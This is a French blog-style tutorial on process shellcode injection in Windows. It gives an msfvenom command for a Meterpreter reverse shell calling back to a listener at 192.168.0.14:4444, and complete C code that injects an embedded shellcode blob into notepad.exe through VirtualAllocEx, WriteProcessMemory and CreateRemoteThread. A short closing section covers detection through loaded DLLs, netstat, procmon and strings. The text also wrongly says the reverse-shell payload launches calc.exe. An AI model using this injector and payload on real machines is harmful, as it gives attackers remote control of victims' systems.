Injection de shellcode

La technique de l'injection de shellcode consiste à:

  • Obtenir un handle sur le processus cible
  • Allouer de l'espace mémoire
  • Écrire un shellcode dans cet espace
  • Créer un thread qui exécute ce shellcode

Tout au long de cet article nous verrons comment exploiter cette technique dans le but de récupérer un reverse shell Meterpreter.

I/ Injection de shellcode

Pour commencer nous allons avoir besoin d'un shellcode fonctionnel. Pour cet article je vais générer un shellcode qui exécute un reverse shell Meterpreter:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.14 LPORT=4444 -f c -b "\00\z0a\x0d"

L'option -f couplée à la valeur c permet d'output le shellcode sur l'invite de commande afin de le copier/coller sur notre IDE. L'option -b permet d'indiquer que l'on ne veut pas des opcode 00, 0A et OD puisque ces derniers casseraient notre shellcode en mémoire.

Ensuite nous allons utiliser les mêmes API que celles vu dans l'article sur l'injection de DLL c'est à dire OpenProcess, VirtualAllocEx, WriteProcessMemory et enfin CreateRemoteThread.

Le code final de notre injecteur sera le suivant:

#include <stdio.h>
#include <windows.h>
#include <tlhelp32.h>

int get_process_id_from_szexefile(wchar_t processName[]){
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
    if (Process32First(snapshot, &entry) == TRUE) {
        while (Process32Next(snapshot, &entry) == TRUE) {
            if (wcscmp(entry.szExeFile, processName) == 0) {
                return entry.th32ProcessID;
            }
        }
    }
    else {
        printf("CreateToolhelper32Snapshot failed : %d\n", GetLastError());
        exit(1);
    }
    printf("Process not found.\n");
    exit(1);
}

int main() {
    LPVOID vae_buffer;
    HANDLE processHandle;
    HANDLE thread;
    wchar_t processName[] = TEXT("notepad.exe");
    unsigned char shellcode[] =
        "\x48\x31\xc9\x48\x81\xe9\xc0\xff\xff\xff\x48\x8d\x05\xef\xff"
        "\xff\xff\x48\xbb\x4d\xc9\xc2\x92\x9a\xd9\xb2\x80\x48\x31\x58"
        "\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xb1\x81\x41\x76\x6a\x31"
        "\x7e\x80\x4d\xc9\x83\xc3\xdb\x89\xe0\xd1\x1b\x81\xf3\x40\xff"
        "\x91\x39\xd2\x2d\x81\x49\xc0\x82\x91\x39\xd2\x6d\x81\x49\xe0"
        "\xca\x91\xbd\x37\x07\x83\x8f\xa3\x53\x91\x83\x40\xe1\xf5\xa3"
        "\xee\x98\xf5\x92\xc1\x8c\x00\xcf\xd3\x9b\x18\x50\x6d\x1f\x88"
        "\x93\xda\x11\x8b\x92\x0b\x0f\xf5\x8a\x93\x4a\xbf\x33\xf8\x55"
        "\xc2\xc0\x9d\x1f\xab\xb2\x80\x4d\x42\x42\x1a\x9a\xd9\xb2\xc8"
        "\xc8\x09\xb6\xf5\xd2\xd8\x62\xd0\xc6\x81\xda\xd6\x11\x99\x92"
        "\xc9\x4c\x19\x21\xc4\xd2\x26\x7b\xc1\xc6\xfd\x4a\xda\x9b\x0f"
        "\xff\xb1\x84\x81\xf3\x52\x36\x98\x73\x49\x40\x88\xc3\x53\xa2"
        "\x39\xc7\x71\x01\xca\x8e\xb6\x92\x9c\x8b\x51\x38\x11\x9a\xd6"
        "\x11\x99\x96\xc9\x4c\x19\xa4\xd3\x11\xd5\xfa\xc4\xc6\x89\xde"
        "\xdb\x9b\x09\xf3\x0b\x49\x41\x8a\x93\x4a\x98\xea\xc1\x15\x97"
        "\x9b\xc8\xdb\x81\xf3\xd9\x0c\x93\x8a\x11\x76\xf9\xf3\xd2\xb2"
        "\x29\x9a\xd3\xc3\x83\xfa\x0b\x5f\x20\x89\x6d\x65\x26\xef\xc9"
        "\xf3\xbe\xb1\xa0\xc5\xea\x80\x80\x4d\x88\x94\xdb\x13\x3f\xfa"
        "\x01\xa1\x69\xc3\x92\x9a\x90\x3b\x65\x04\x75\xc0\x92\x8b\x85"
        "\x72\x28\x4d\xc7\x83\xc6\xd3\x50\x56\xcc\xc4\x38\x83\x28\xd6"
        "\xae\x94\x87\xb2\x1c\x8e\x1b\x70\xb1\xb3\x81\x4d\xc9\x9b\xd3"
        "\x20\xf0\x32\xeb\x4d\x36\x17\xf8\x90\x98\xec\xd0\x1d\x84\xf3"
        "\x5b\xd7\xe8\x72\xc8\xb2\x09\x8a\x1b\x58\x91\x4d\x40\x05\x40"
        "\x03\xd3\x20\x33\xbd\x5f\xad\x36\x17\xda\x13\x1e\xd8\x90\x0c"
        "\x91\x8e\x1b\x78\x91\x3b\x79\x0c\x73\x5b\x37\xee\xb8\x4d\x55"
        "\xc8\x09\xb6\x98\xd3\x26\x7c\xf5\xa8\x21\x51\x92\x9a\xd9\xfa"
        "\x03\xa1\xd9\x8a\x1b\x78\x94\x83\x49\x27\xcd\x83\xca\xd2\x50"
        "\x4b\xc1\xf7\xcb\x1b\x5a\xc5\x26\x67\x03\xb5\xc9\xbc\xc7\xd2"
        "\x5a\x76\xa0\x13\x40\x34\xf8\xda\x98\xeb\xe8\x4d\xd9\xc2\x92"
        "\xdb\x81\xfa\x09\xbf\x81\xf3\x5b\xdb\x63\xea\x24\x1e\x2c\x3d"
        "\x47\xd2\x50\x71\xc9\xc4\x0e\x8f\xa3\x53\x90\x3b\x70\x05\x40"
        "\x18\xda\x13\x20\xf3\x3a\x4f\x10\x0a\xcd\x65\x0c\x31\x78\x4d"
        "\xb4\xea\xca\xdb\x8e\xeb\xe8\x4d\x89\xc2\x92\xdb\x81\xd8\x80"
        "\x17\x88\x78\x99\xb5\xd6\x82\x7f\x98\x9e\x9b\xd3\x20\xac\xdc"
        "\xcd\x2c\x36\x17\xdb\x65\x17\x5b\xbc\xb2\x36\x3d\xda\x9b\x1a"
        "\xfa\xa9\x8b\x81\x47\x64\xef\x6d\xf3\x7f\xaa\x91\xa8\x92\xc3"
        "\x90\x75\x42\xbd\x7c\x60\xc4\x65\x0c\xb2\x80";

    int processId = get_process_id_from_szexefile(processName);
    processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
	vae_buffer = VirtualAllocEx(processHandle, NULL, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, vae_buffer, shellcode, sizeof shellcode, NULL);
    thread = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)vae_buffer, NULL, 0, NULL);
    CloseHandle(processHandle);
    return 0;
}

Exécuter ce code créera effectivement un processus calc.exe:

II/ Analyse et forensic

Under the hood ce payload va charger plusieurs DLL afin de pouvoir établir la connexion TCP vers le listener. Pour cela il a besoin de plusieurs DLL's permettant de gérer les sockets dont les DLL ws2_32.dll et WININET.dll :

Or de base notepad.exe n'a pas besoin de ces DLL's. Leurs chargements montrent qu'il y a eu une injection de code.

Au niveau réseau il sera aussi possible de voir que le processus notepad.exe a ouvert une socket via la commande:

netstat -b

La même observation pourra être faite via procmon:

Pour la partie reverse engineering l'utilisation du binaire strings montre quelles sont les fonctions de la WINAPI utilisées:

Encore une fois la simple utilisation des API suffit à détecter l'injection.